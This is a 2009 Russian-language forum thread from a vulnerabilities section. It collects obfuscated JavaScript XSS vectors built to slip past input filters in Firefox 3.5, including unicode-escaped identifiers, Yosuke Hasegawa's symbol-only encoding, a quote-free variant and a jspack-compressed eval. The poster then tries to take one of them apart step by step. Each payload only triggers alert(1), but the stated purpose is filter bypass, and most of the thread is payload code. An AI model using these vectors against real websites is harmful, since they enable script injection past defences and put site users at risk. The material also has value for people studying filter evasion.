Firefox 3.5, unicode и javascript

Discussion in 'Уязвимости' started by Pavlov, 18 Aug 2009.

  1. Pavlov

    Pavlov Banned

    Joined:
    14 Jun 2009
    Messages:
    16
    Likes Received:
    87
    Reputations:
    40
    Недавно нашёл интересный топик New XSS vectors/Unusual Javascript (http://sla.ckers.org/forum/read.php?2,15812,page=1)
    В нём описываются различные способы обхода фильтрации, примером работы javascript является alert(1);
    Вот некоторые из них:
    --------------
    0/eval('alert(1)')
    --------------
    top.* =alert,self['*'](1)
    --------------
    [1,9].reduce(alert)
    --------------
    \u5001$=1
    \u5000$=\u5001$?alert:\u5001$
    \u5000$(1)

    --------------
    x='\u0020alert\u0009(1)';
    eval(x);

    --------------
    Первым, кто предложил полностью зашифрованный скрипт, был Yosuke Hasegawa (1 июня 2009).
    Скрипт довольно большой, но всётаки это оригинальное решение.
    ß=-~-~[],þ=-~ß,â=ß<<ß,ô=â+~[];ù=(þ-þ)[Õ=(''+{})[ß+þ]+(''+{})[þ-ß]+([].þ+'')[þ-ß]+(!!''+'')[þ]+({}+'')[þ+þ]+(!''+'')[þ-ß]+(!''+'')[ß]+(''+{})[ß+þ]+({}+'')[þ+þ]+(''+{})[þ-ß]+(!''+'')[þ-ß]][Õ];ù(ù((!''+'')[þ-ß]+(!''+'')[þ]+(!''+'')[þ-þ]+(!''+'')[ß]+((!''+''))[þ-ß]+([].$+'')[þ-ß]+'\''+''+'\\'+(þ-ß)+(ß+ß)+(þ-ß)+'\\'+(þ-ß)+(ß+þ)+(ß+ß)+'\\'+(þ-ß)+(ß+ß)+(ß+þ)+'\\'+(þ-ß)+(þ+þ)+(ß)+'\\'+(þ-ß)+(þ+þ)+(ß+ß)+'\\'+(ß+þ)+(þ-þ)+'\\'+(þ+þ)+(þ-ß)+'\\'+(ß+þ)+(þ-ß)+'\\'+(ô)+(þ)+'\'')())()
    --------------
    $=[][(!~''+'')[(+!'')+(+!'')+(+!'')]+({}+'')[+!'']+($$=(!+''+'')[+!''])+(_=(!''+'')[+''])],$()[(!!''+'')[+!'']+(!!''+'')[+!''+!'']+(!!''+'')[+!''+!''+!''+!'']+$$+_](+!'')
    --------------
    µ=<µ ß='le' µ='a' ø='rt'></µ>,top[µ.@µ+µ.@ß+µ.@ø](µ)
    --------------
    И даже без ковычек:
    (Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
    --------------
    Впервые я заметил такое решение на сайте http://raz0r.name/
    Но не уделил ему должного внимания, зря хотя. А несколько дней спустя, в поиске обхода фильтрации нашёл тот топик.

    Также один из учасников форума уже создал скрипт который зашифровывает яваскрипт - Hackvertor
    Выбераем Hacker tags, выделяем наш скрипт, нажимаем на hasegawa, а затем нажимаем Convert (image).

    Кстати, на том сайте, есть ещё один способ сжатия, интересен он тем что работает не только в FF3.5, но и в IE8.
    Script > jspack
    Пример cжатого alert(1);
    --------------
    eval("◮ᾥѵ٨ፍ;".replace(/[^s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)}))
    --------------
    Вообщем интересно как это работает.
    Для начала хотябы на простых примерах.
    --------------
    $=alert;
    $(1);

    --------------
    blah=alert;
    blah(1);

    --------------
    Прочитав это, я мало что понял, но всёже решил попробывать чтото простое.
    Например, есть скрипт:
    --------------
    $=alert;
    $(1);

    --------------
    Допишим к нему $(2);.
    --------------
    $=alert;
    $(1);
    $(2);

    --------------
    Сначала появится alert(1);, затем alert(2);.
    Таким образом можно предположить что alert записывается в $, а затем каждый раз подставляется к (1); и (2);.
    Немного усложним конструкцию:
    $=alert;
    $($>>$);

    Теперь выводится 0, как и написал .mario.
    $++ - NaN
    $+$ - function write() { [native code] } function write() { [native code] }
    $+$-$ - NaN
    4+10-5 - 9
    --------------
    Теперь возьмём посложнее:
    (Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
    --------------
    Å сдесь выполняет туже роль что и $ в предыдущем примере.
    Можно его даже заменить на ß, и скрипт всюравно будет работать.
    (ß=[],[Ç=!!ß+ß,µ=!ß+{}][µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß]+µ[È+È]+ª])()[µ[ß]+µ[ß+ß]+Ç[È]+ª](ß)
    --------------
    Давайте попробуем разобрать этот скрипт.
    ß - хранит в себе информацию (я не разбираюсь в програмировании, по этому незнаю как это называется)
    ß=[] - сдесь ß записывает в себя массив []
    Дальше идёт массив [...])(), затем ещё один [...], и затем (ß) которая и вызывает скрипт.
    Возможно скрипт можно разделить:
    (ß=[],
    [Ç=!!ß+ß,µ=!ß+{}]
    [µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß]
    +µ[È+È]+ª])
    ()
    [µ[ß]+µ[ß+ß]+Ç[È]+ª]
    (ß)

    Дальше, как я понимаю, идёт преобразование из utf8 в ascii и создание alert(1);, который и выполняется в браузере.
    Ктонибудь, обладающий нужными заниями, может продолжить?
    Интересно разобрать этот скрипт для создания анологичных.
     
    #1 Pavlov, 18 Aug 2009
    Last edited: 19 Aug 2009
    3 people like this.
  2. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    218
    Likes Received:
    29
    Reputations:
    0
    это всё класно, но что бы сие чудо заработало его необходимо заключиь в тег <script> ):
     
Loading...